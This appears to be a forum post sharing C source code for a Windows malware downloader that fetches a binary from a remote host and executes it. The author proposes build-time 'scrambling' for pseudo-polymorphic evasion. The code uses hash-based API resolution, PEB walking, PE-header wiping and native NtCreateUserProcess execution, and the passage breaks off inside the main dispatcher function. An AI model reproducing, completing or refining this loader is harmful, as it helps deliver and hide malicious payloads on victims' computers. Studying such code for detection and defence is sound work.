The code basically downloads a binary from vx-underground and executes it. Currently the code will not work because the executable hosted on vx- underground for the proof-of-concept is no longer there – although it was just a copy cmd.exe.Code may have some bugs. It can be improved upon by introducing pseudo-polymorphism by 'scrambling' the order of switch statements and enum values on each build.
C:Copy to clipboard
#include <Windows.h>
#include "httprequest.h"
#include <Netlistmgr.h>
#include <Wbemidl.h>
#pragma comment(lib, "wbemuuid.lib")
#pragma comment(linker, "/ENTRY:ApplicationEntryPoint")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#endif
#define STATUS_SUCCESS 0
#define AlignProcessParameters(X, Align) (((ULONG)(X)+(Align)-1UL)&(~((Align)-1UL)))
#define OBJ_HANDLE_TAGBITS 0x00000003L
#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003
#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001
#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OVERWRITE_IF 0x00000005
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define FILE_OPEN_IF 0x00000003
#define FILE_OPEN 0x00000001
#define IOCTL_KSEC_RNG CTL_CODE(FILE_DEVICE_KSEC, 1, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define InitializeObjectAttributes(p, n, a, r, s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} ANSI_STRING, * PANSI_STRING;
typedef struct _CURDIR {
UNICODE_STRING DosPath;
PVOID Handle;
}CURDIR, * PCURDIR;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
WORD Flags;
WORD Length;
ULONG TimeStamp;
ANSI_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
PVOID StandardInput;
PVOID StandardOutput;
PVOID StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONG EnvironmentSize;
PVOID PackageDependencyData;
ULONG ProcessGroupId;
ULONG LoaderThreads;
UNICODE_STRING RedirectionDllName;
UNICODE_STRING HeapPartitionName;
ULONGLONG* DefaultThreadpoolCpuSetMasks;
ULONG DefaultThreadpoolCpuSetMaskCount;
PVOID Alignment[4];
}RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
typedef struct __CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID, * PCLIENT_ID;
typedef PVOID PACTIVATION_CONTEXT;
typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME {
struct __RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous;
PACTIVATION_CONTEXT ActivationContext;
ULONG Flags;
} RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME;
typedef struct _ACTIVATION_CONTEXT_STACK {
PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame;
LIST_ENTRY FrameListCache;
ULONG Flags;
ULONG NextCookieSequenceNumber;
ULONG StackId;
} ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK;
typedef struct _GDI_TEB_BATCH {
ULONG Offset;
ULONG HDC;
ULONG Buffer[310];
} GDI_TEB_BATCH, * PGDI_TEB_BATCH;
typedef struct _TEB_ACTIVE_FRAME_CONTEXT {
ULONG Flags;
PCHAR FrameName;
} TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT;
typedef struct _TEB_ACTIVE_FRAME {
ULONG Flags;
struct _TEB_ACTIVE_FRAME* Previous;
PTEB_ACTIVE_FRAME_CONTEXT Context;
} TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME;
typedef struct _TEB
{
NT_TIB NtTib;
PVOID EnvironmentPointer;
CLIENT_ID ClientId;
PVOID ActiveRpcHandle;
PVOID ThreadLocalStoragePointer;
PPEB ProcessEnvironmentBlock;
ULONG LastErrorValue;
ULONG CountOfOwnedCriticalSections;
PVOID CsrClientThread;
PVOID Win32ThreadInfo;
ULONG User32Reserved[26];
ULONG UserReserved[5];
PVOID WOW32Reserved;
LCID CurrentLocale;
ULONG FpSoftwareStatusRegister;
PVOID SystemReserved1[54];
LONG ExceptionCode;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PACTIVATION_CONTEXT_STACK* ActivationContextStackPointer;
UCHAR SpareBytes1[0x30 - 3 * sizeof(PVOID)];
ULONG TxFsContext;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PACTIVATION_CONTEXT_STACK ActivationContextStackPointer;
UCHAR SpareBytes1[0x34 - 3 * sizeof(PVOID)];
#else
ACTIVATION_CONTEXT_STACK ActivationContextStack;
UCHAR SpareBytes1[24];
#endif
GDI_TEB_BATCH GdiTebBatch;
CLIENT_ID RealClientId;
PVOID GdiCachedProcessHandle;
ULONG GdiClientPID;
ULONG GdiClientTID;
PVOID GdiThreadLocalInfo;
PSIZE_T Win32ClientInfo[62];
PVOID glDispatchTable[233];
PSIZE_T glReserved1[29];
PVOID glReserved2;
PVOID glSectionInfo;
PVOID glSection;
PVOID glTable;
PVOID glCurrentRC;
PVOID glContext;
NTSTATUS LastStatusValue;
UNICODE_STRING StaticUnicodeString;
WCHAR StaticUnicodeBuffer[261];
PVOID DeallocationStack;
PVOID TlsSlots[64];
LIST_ENTRY TlsLinks;
PVOID Vdm;
PVOID ReservedForNtRpc;
PVOID DbgSsReserved[2];
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG HardErrorMode;
#else
ULONG HardErrorsAreDisabled;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID Instrumentation[13 - sizeof(GUID) / sizeof(PVOID)];
GUID ActivityId;
PVOID SubProcessTag;
PVOID EtwLocalData;
PVOID EtwTraceData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
PVOID Instrumentation[14];
PVOID SubProcessTag;
PVOID EtwLocalData;
#else
PVOID Instrumentation[16];
#endif
PVOID WinSockData;
ULONG GdiBatchCount;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
BOOLEAN SpareBool0;
BOOLEAN SpareBool1;
BOOLEAN SpareBool2;
#else
BOOLEAN InDbgPrint;
BOOLEAN FreeStackOnTermination;
BOOLEAN HasFiberData;
#endif
UCHAR IdealProcessor;
#if (NTDDI_VERSION >= NTDDI_WS03)
ULONG GuaranteedStackBytes;
#else
ULONG Spare3;
#endif
PVOID ReservedForPerf;
PVOID ReservedForOle;
ULONG WaitingOnLoaderLock;
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID SavedPriorityState;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR ThreadPoolData;
#elif (NTDDI_VERSION >= NTDDI_WS03)
ULONG_PTR SparePointer1;
ULONG_PTR SoftPatchPtr1;
ULONG_PTR SoftPatchPtr2;
#else
Wx86ThreadState Wx86Thread;
#endif
PVOID* TlsExpansionSlots;
#if defined(_WIN64) && !defined(EXPLICIT_32BIT)
PVOID DeallocationBStore;
PVOID BStoreLimit;
#endif
ULONG ImpersonationLocale;
ULONG IsImpersonating;
PVOID NlsCache;
PVOID pShimData;
ULONG HeapVirtualAffinity;
HANDLE CurrentTransactionHandle;
PTEB_ACTIVE_FRAME ActiveFrame;
#if (NTDDI_VERSION >= NTDDI_WS03)
PVOID FlsData;
#endif
#if (NTDDI_VERSION >= NTDDI_LONGHORN)
PVOID PreferredLangauges;
PVOID UserPrefLanguages;
PVOID MergedPrefLanguages;
ULONG MuiImpersonation;
union
{
struct
{
USHORT SpareCrossTebFlags : 16;
};
USHORT CrossTebFlags;
};
union
{
struct
{
USHORT DbgSafeThunkCall : 1;
USHORT DbgInDebugPrint : 1;
USHORT DbgHasFiberData : 1;
USHORT DbgSkipThreadAttach : 1;
USHORT DbgWerInShipAssertCode : 1;
USHORT DbgIssuedInitialBp : 1;
USHORT DbgClonedThread : 1;
USHORT SpareSameTebBits : 9;
};
USHORT SameTebFlags;
};
PVOID TxnScopeEntercallback;
PVOID TxnScopeExitCAllback;
PVOID TxnScopeContext;
ULONG LockCount;
ULONG ProcessRundown;
ULONG64 LastSwitchTime;
ULONG64 TotalSwitchOutTime;
LARGE_INTEGER WaitReasonBitMap;
#else
BOOLEAN SafeThunkCall;
BOOLEAN BooleanSpare[3];
#endif
} TEB, * PTEB;
typedef struct _KSYSTEM_TIME
{
ULONG LowPart;
LONG High1Time;
LONG High2Time;
} KSYSTEM_TIME, * PKSYSTEM_TIME;
typedef enum _NT_PRODUCT_TYPE
{
NtProductWinNt = 1,
NtProductLanManNt = 2,
NtProductServer = 3
} NT_PRODUCT_TYPE;
typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE
{
StandardDesign = 0,
NEC98x86 = 1,
EndAlternatives = 2
} ALTERNATIVE_ARCHITECTURE_TYPE;
typedef struct _KUSER_SHARED_DATA {
ULONG TickCountLowDeprecated;
ULONG TickCountMultiplier;
KSYSTEM_TIME InterruptTime;
KSYSTEM_TIME SystemTime;
KSYSTEM_TIME TimeZoneBias;
USHORT ImageNumberLow;
USHORT ImageNumberHigh;
WCHAR NtSystemRoot[260];
ULONG MaxStackTraceDepth;
ULONG CryptoExponent;
ULONG TimeZoneId;
ULONG LargePageMinimum;
ULONG AitSamplingValue;
ULONG AppCompatFlag;
ULONGLONG RNGSeedVersion;
ULONG GlobalValidationRunlevel;
LONG TimeZoneBiasStamp;
ULONG NtBuildNumber;
NT_PRODUCT_TYPE NtProductType;
BOOLEAN ProductTypeIsValid;
BOOLEAN Reserved0[1];
USHORT NativeProcessorArchitecture;
ULONG NtMajorVersion;
ULONG NtMinorVersion;
BOOLEAN ProcessorFeatures[64];
ULONG Reserved1;
ULONG Reserved3;
ULONG TimeSlip;
ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture;
ULONG BootId;
LARGE_INTEGER SystemExpirationDate;
ULONG SuiteMask;
BOOLEAN KdDebuggerEnabled;
union {
UCHAR MitigationPolicies;
struct {
UCHAR NXSupportPolicy : 2;
UCHAR SEHValidationPolicy : 2;
UCHAR CurDirDevicesSkippedForDlls : 2;
UCHAR Reserved : 2;
};
};
USHORT CyclesPerYield;
ULONG ActiveConsoleId;
ULONG DismountCount;
ULONG ComPlusPackage;
ULONG LastSystemRITEventTickCount;
ULONG NumberOfPhysicalPages;
BOOLEAN SafeBootMode;
UCHAR VirtualizationFlags;
UCHAR Reserved12[2];
union {
ULONG SharedDataFlags;
struct {
ULONG DbgErrorPortPresent : 1;
ULONG DbgElevationEnabled : 1;
ULONG DbgVirtEnabled : 1;
ULONG DbgInstallerDetectEnabled : 1;
ULONG DbgLkgEnabled : 1;
ULONG DbgDynProcessorEnabled : 1;
ULONG DbgConsoleBrokerEnabled : 1;
ULONG DbgSecureBootEnabled : 1;
ULONG DbgMultiSessionSku : 1;
ULONG DbgMultiUsersInSessionSku : 1;
ULONG DbgStateSeparationEnabled : 1;
ULONG SpareBits : 21;
} DUMMYSTRUCTNAME2;
} DUMMYUNIONNAME2;
ULONG DataFlagsPad[1];
ULONGLONG TestRetInstruction;
LONGLONG QpcFrequency;
ULONG SystemCall;
ULONG Reserved2;
ULONGLONG SystemCallPad[2];
union {
KSYSTEM_TIME TickCount;
ULONG64 TickCountQuad;
struct {
ULONG ReservedTickCountOverlay[3];
ULONG TickCountPad[1];
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME3;
ULONG Cookie;
ULONG CookiePad[1];
LONGLONG ConsoleSessionForegroundProcessId;
ULONGLONG TimeUpdateLock;
ULONGLONG BaselineSystemTimeQpc;
ULONGLONG BaselineInterruptTimeQpc;
ULONGLONG QpcSystemTimeIncrement;
ULONGLONG QpcInterruptTimeIncrement;
UCHAR QpcSystemTimeIncrementShift;
UCHAR QpcInterruptTimeIncrementShift;
USHORT UnparkedProcessorCount;
ULONG EnclaveFeatureMask[4];
ULONG TelemetryCoverageRound;
USHORT UserModeGlobalLogger[16];
ULONG ImageFileExecutionOptions;
ULONG LangGenerationCount;
ULONGLONG Reserved4;
ULONGLONG InterruptTimeBias;
ULONGLONG QpcBias;
ULONG ActiveProcessorCount;
UCHAR ActiveGroupCount;
UCHAR Reserved9;
union {
USHORT QpcData;
struct {
UCHAR QpcBypassEnabled;
UCHAR QpcShift;
};
};
LARGE_INTEGER TimeZoneBiasEffectiveStart;
LARGE_INTEGER TimeZoneBiasEffectiveEnd;
XSTATE_CONFIGURATION XState;
KSYSTEM_TIME FeatureConfigurationChangeStamp;
ULONG Spare;
} KUSER_SHARED_DATA, * PKUSER_SHARED_DATA;
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation, // 2
FileBothDirectoryInformation, // 3
FileBasicInformation, // 4
FileStandardInformation, // 5
FileInternalInformation, // 6
FileEaInformation, // 7
FileAccessInformation, // 8
FileNameInformation, // 9
FileRenameInformation, // 10
FileLinkInformation, // 11
FileNamesInformation, // 12
FileDispositionInformation, // 13
FilePositionInformation, // 14
FileFullEaInformation, // 15
FileModeInformation, // 16
FileAlignmentInformation, // 17
FileAllInformation, // 18
FileAllocationInformation, // 19
FileEndOfFileInformation, // 20
FileAlternateNameInformation, // 21
FileStreamInformation, // 22
FilePipeInformation, // 23
FilePipeLocalInformation, // 24
FilePipeRemoteInformation, // 25
FileMailslotQueryInformation, // 26
FileMailslotSetInformation, // 27
FileCompressionInformation, // 28
FileObjectIdInformation, // 29
FileCompletionInformation, // 30
FileMoveClusterInformation, // 31
FileQuotaInformation, // 32
FileReparsePointInformation, // 33
FileNetworkOpenInformation, // 34
FileAttributeTagInformation, // 35
FileTrackingInformation, // 36
FileIdBothDirectoryInformation, // 37
FileIdFullDirectoryInformation, // 38
FileValidDataLengthInformation, // 39
FileShortNameInformation, // 40
FileIoCompletionNotificationInformation, // 41
FileIoStatusBlockRangeInformation, // 42
FileIoPriorityHintInformation, // 43
FileSfioReserveInformation, // 44
FileSfioVolumeInformation, // 45
FileHardLinkInformation, // 46
FileProcessIdsUsingFileInformation, // 47
FileNormalizedNameInformation, // 48
FileNetworkPhysicalNameInformation, // 49
FileIdGlobalTxDirectoryInformation, // 50
FileIsRemoteDeviceInformation, // 51
FileUnusedInformation, // 52
FileNumaNodeInformation, // 53
FileStandardLinkInformation, // 54
FileRemoteProtocolInformation, // 55
FileRenameInformationBypassAccessCheck, // 56
FileLinkInformationBypassAccessCheck, // 57
FileVolumeNameInformation, // 58
FileIdInformation, // 59
FileIdExtdDirectoryInformation, // 60
FileReplaceCompletionInformation, // 61
FileHardLinkFullIdInformation, // 62
FileIdExtdBothDirectoryInformation, // 63
FileDispositionInformationEx, // 64
FileRenameInformationEx, // 65
FileRenameInformationExBypassAccessCheck, // 66
FileDesiredStorageClassInformation, // 67
FileStatInformation, // 68
FileMemoryPartitionInformation, // 69
FileStatLxInformation, // 70
FileCaseSensitiveInformation, // 71
FileLinkInformationEx, // 72
FileLinkInformationExBypassAccessCheck, // 73
FileStorageReserveIdInformation, // 74
FileCaseSensitiveInformationForceAccessCheck, // 75
FileMaximumInformation
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
PVOID RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _RTLP_CURDIR_REF* PRTLP_CURDIR_REF;
typedef struct _RTL_RELATIVE_NAME_U {
UNICODE_STRING RelativeName;
HANDLE ContainingDirectory;
PRTLP_CURDIR_REF CurDirRef;
} RTL_RELATIVE_NAME_U, * PRTL_RELATIVE_NAME_U;
#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff
#define PS_ATTRIBUTE_THREAD 0x00010000
#define PS_ATTRIBUTE_INPUT 0x00020000
#define PS_ATTRIBUTE_ADDITIVE 0x00040000
typedef enum _PS_ATTRIBUTE_NUM
{
PsAttributeParentProcess,
PsAttributeDebugPort,
PsAttributeToken,
PsAttributeClientId,
PsAttributeTebAddress,
PsAttributeImageName,
PsAttributeImageInfo,
PsAttributeMemoryReserve,
PsAttributePriorityClass,
PsAttributeErrorMode,
PsAttributeStdHandleInfo,
PsAttributeHandleList,
PsAttributeGroupAffinity,
PsAttributePreferredNode,
PsAttributeIdealProcessor,
PsAttributeUmsThread,
PsAttributeMitigationOptions,
PsAttributeProtectionLevel,
PsAttributeSecureProcess,
PsAttributeJobList,
PsAttributeChildProcessPolicy,
PsAttributeAllApplicationPackagesPolicy,
PsAttributeWin32kFilter,
PsAttributeSafeOpenPromptOriginClaim,
PsAttributeBnoIsolation,
PsAttributeDesktopAppPolicy,
PsAttributeMax
} PS_ATTRIBUTE_NUM;
#define PsAttributeValue(Number, Thread, Input, Additive) \
(((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \
((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \
((Input) ? PS_ATTRIBUTE_INPUT : 0) | \
((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0))
#define RTL_USER_PROCESS_PARAMETERS_NORMALIZED 0x01
#define PS_ATTRIBUTE_IMAGE_NAME \
PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE)
typedef struct _PS_ATTRIBUTE
{
ULONG_PTR Attribute;
SIZE_T Size;
union
{
ULONG_PTR Value;
PVOID ValuePtr;
};
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[2];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
typedef enum _PS_CREATE_STATE
{
PsCreateInitialState,
PsCreateFailOnFileOpen,
PsCreateFailOnSectionCreate,
PsCreateFailExeFormat,
PsCreateFailMachineMismatch,
PsCreateFailExeName,
PsCreateSuccess,
PsCreateMaximumStates
} PS_CREATE_STATE;
typedef struct _PS_CREATE_INFO {
SIZE_T Size;
PS_CREATE_STATE State;
union {
struct {
union {
ULONG InitFlags;
struct {
UCHAR WriteOutputOnExit : 1;
UCHAR DetectManifest : 1;
UCHAR IFEOSkipDebugger : 1;
UCHAR IFEODoNotPropagateKeyState : 1;
UCHAR SpareBits1 : 4;
UCHAR SpareBits2 : 8;
USHORT ProhibitedImageCharacteristics : 16;
} s1;
} u1;
ACCESS_MASK AdditionalFileAccess;
} InitState;
struct { HANDLE FileHandle; } FailSection;
struct { USHORT DllCharacteristics; } ExeFormat;
struct { HANDLE IFEOKey; } ExeName;
struct {
union {
ULONG OutputFlags;
struct {
UCHAR ProtectedProcess : 1;
UCHAR AddressSpaceOverride : 1;
UCHAR DevOverrideEnabled : 1;
UCHAR ManifestDetected : 1;
UCHAR ProtectedProcessLight : 1;
UCHAR SpareBits1 : 3;
UCHAR SpareBits2 : 8;
USHORT SpareBits3 : 16;
} s2;
} u2;
HANDLE FileHandle;
HANDLE SectionHandle;
ULONGLONG UserProcessParametersNative;
ULONG UserProcessParametersWow64;
ULONG CurrentParameterFlags;
ULONGLONG PebAddressNative;
ULONG PebAddressWow64;
ULONGLONG ManifestAddress;
ULONG ManifestSize;
} SuccessState;
};
} PS_CREATE_INFO, * PPS_CREATE_INFO;
typedef NTSTATUS(NTAPI* NTCREATEUSERPROCESS)(PHANDLE, PHANDLE, ACCESS_MASK, ACCESS_MASK, POBJECT_ATTRIBUTES, POBJECT_ATTRIBUTES, ULONG, ULONG, PRTL_USER_PROCESS_PARAMETERS, PPS_CREATE_INFO, PPS_ATTRIBUTE_LIST);
typedef NTSTATUS(NTAPI* LDRLOADDLL)(PWSTR, PULONG, PUNICODE_STRING, PVOID);
typedef NTSTATUS(NTAPI* NTCREATEFILE)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* NTCLOSE)(HANDLE);
typedef NTSTATUS(NTAPI* NTWRITEFILE)(HANDLE, HANDLE, PVOID, PVOID, PIO_STATUS_BLOCK, PVOID, ULONG, PLARGE_INTEGER, PULONG);
typedef NTSTATUS(NTAPI* NTALLOCATEVIRTUALMEMORY)(HANDLE, PVOID, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef NTSTATUS(NTAPI* NTFREEVIRTUALMEMORY)(HANDLE, PVOID, PSIZE_T, ULONG);
typedef NTSTATUS(NTAPI* NTDEVICEIOCONTROLFILE)(HANDLE, HANDLE, PVOID, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
typedef NTSTATUS(NTAPI* NTTERMINATEPROCESS)(HANDLE, ULONG);
typedef HRESULT(WINAPI* COINITIALIZEEX)(LPVOID, DWORD);
typedef VOID(WINAPI* COUNINITIALIZE)(VOID);
typedef HRESULT(WINAPI* COCREATEINSTANCE)(REFCLSID, LPUNKNOWN, DWORD, REFIID, LPVOID*);
typedef HRESULT(WINAPI* COINITIALIZESECURITY)(PSECURITY_DESCRIPTOR, LONG, PSOLE_AUTHENTICATION_SERVICE, PVOID, DWORD, DWORD, PVOID, DWORD, PVOID);
typedef VOID(WINAPI* SYSFREESTRING)(BSTR);
typedef enum SWITCH_FUNCTIONS {
EntryPoint, //0
GetGeneralInformation, //1
GetNtdllBaseAddress, //2
ExitApplication, //3
HashStringFowlerNollVoVariant1aW, //4
GetProcAddressByHash, //5
RtlLoadPeHeaders, //6
CharStringToWCharString, //7
StringLength, //8
ExecuteBinary, //9
PopulateNtFunctionPointers, //10
CreateProcessParameters, //11
CopyParameters, //12
QueryEnvironmentVariables, //13
NullPeHeaders, //14
CreateDownloadPath, //15
PopulateComFunctionPointers, //16
GetTickCountAsDword, //17
DownloadBinary, //18
LoadComLibraries, //19
GetSysFreeString, //20
UnloadDll, //21
RemoveListEntry, //22
RemoveComData, //23
CheckRemoteHost, //24
SafelyExitCom, //25
CheckLocalMachinesInternetStatus, //26
ZeroFillData, //27
Win32FromHResult //28
}SWITCH_FUNCTIONS, *PSWITCH_FUNCTIONS;
typedef struct _COPY_PARAMETERS {
PWSTR d;
PUNICODE_STRING Destination;
PUNICODE_STRING Source;
ULONG Size;
}COPY_PARAMETERS, *PCOPY_PARAMETERS;
typedef struct _ENVIRONMENT_DATA {
UNICODE_STRING Name;
PWSTR Environment;
}ENVIRONMENT_DATA, *PENVIRONMENT_DATA;
typedef struct COM_FUNCTIONS{
COINITIALIZEEX CoInitializeEx;
COUNINITIALIZE CoUninitialize;
COCREATEINSTANCE CoCreateInstance;
SYSFREESTRING SysFreeString;
COINITIALIZESECURITY CoInitializeSecurity;
}COM_FUNCTIONS, *PCOM_FUNCTIONS;
typedef struct NT_FUNCTIONS {
NTCREATEUSERPROCESS NtCreateUserProcess;
LDRLOADDLL LdrLoadDll;
NTCREATEFILE NtCreateFile;
NTCLOSE NtClose;
NTWRITEFILE NtWriteFile;
NTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory;
NTFREEVIRTUALMEMORY NtFreeVirtualMemory;
NTDEVICEIOCONTROLFILE NtDeviceIoControlFile;
NTTERMINATEPROCESS NtTerminateProcess;
}NT_FUNCTIONS, *PNT_FUNCTIONS;
typedef struct COM_VARIABLES {
IWbemLocator* Locator;
IWbemServices* Services;
IEnumWbemClassObject* Enum;
IWbemClassObject* Ping;
INetworkListManager* NetworkManager;
IWinHttpRequest* HttpRequest;
BSTR ResponseData;
}COM_VARIABLES, *PCOM_VARIABLES;
typedef struct COM_HELPER {
BOOL IsComInitialized;
HRESULT ComResult;
COM_FUNCTIONS ComFunction;
COM_VARIABLES ComVariables;
}COM_HELPER, *PCOM_HELPER;
typedef struct LOADER_HELPER {
HMODULE hMod;
PIMAGE_DOS_HEADER Dos;
PIMAGE_NT_HEADERS Nt;
PIMAGE_FILE_HEADER File;
PIMAGE_OPTIONAL_HEADER Optional;
}LOADER_HELPER, *PLOADER_HELPER;
typedef struct DATA_TABLE {
PWCHAR WideStringPointer1;
PCHAR StringPointer1;
UNICODE_STRING UnicodeString;
WCHAR UnicodeStringBuffer[MAX_PATH * sizeof(WCHAR)];
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID UserProcessParametersBuffer[4096];
PVOID Destination;
}DATA_TABLE, *PDATA_TABLE;
typedef struct ZERO_FILL_HELPER {
PVOID Destination;
SIZE_T Size;
}ZERO_FILL_HELPER, *PZERO_FILL_HELPER;
typedef struct _VARIABLE_TABLE {
NTSTATUS Status;
BOOL bFlag;
DWORD64 dwError;
PPEB Peb;
PTEB Teb;
//Function calling
DWORD dwReturn;
DWORD dwGeneralUsage1;
//helper structures
COPY_PARAMETERS Copy;
ENVIRONMENT_DATA EnvironmentData;
HANDLE hHandle;
PLIST_ENTRY Entry;
//Functions
DATA_TABLE GeneralData;
NT_FUNCTIONS NtFunctions;
LOADER_HELPER LoaderHelper;
COM_HELPER ComHelper;
ZERO_FILL_HELPER ZeroFill;
}VARIABLE_TABLE, *PVARIABLE_TABLE;
LPVOID RecursiveExecutor(DWORD dwEnum, PVARIABLE_TABLE Table)
{
if (Table->dwError != ERROR_SUCCESS || Table->Status != STATUS_SUCCESS)
return (LPVOID)Table->dwError;
switch (dwEnum)
{
case EntryPoint:
{
Table->ZeroFill.Destination = Table;
Table->ZeroFill.Size = sizeof(VARIABLE_TABLE);
RecursiveExecutor(ZeroFillData, Table);
Table->dwError = 0; Table->dwGeneralUsage1 = 0;
RecursiveExecutor(GetGeneralInformation, Table);
Table->GeneralData.UnicodeString.Buffer = Table->GeneralData.UnicodeStringBuffer;
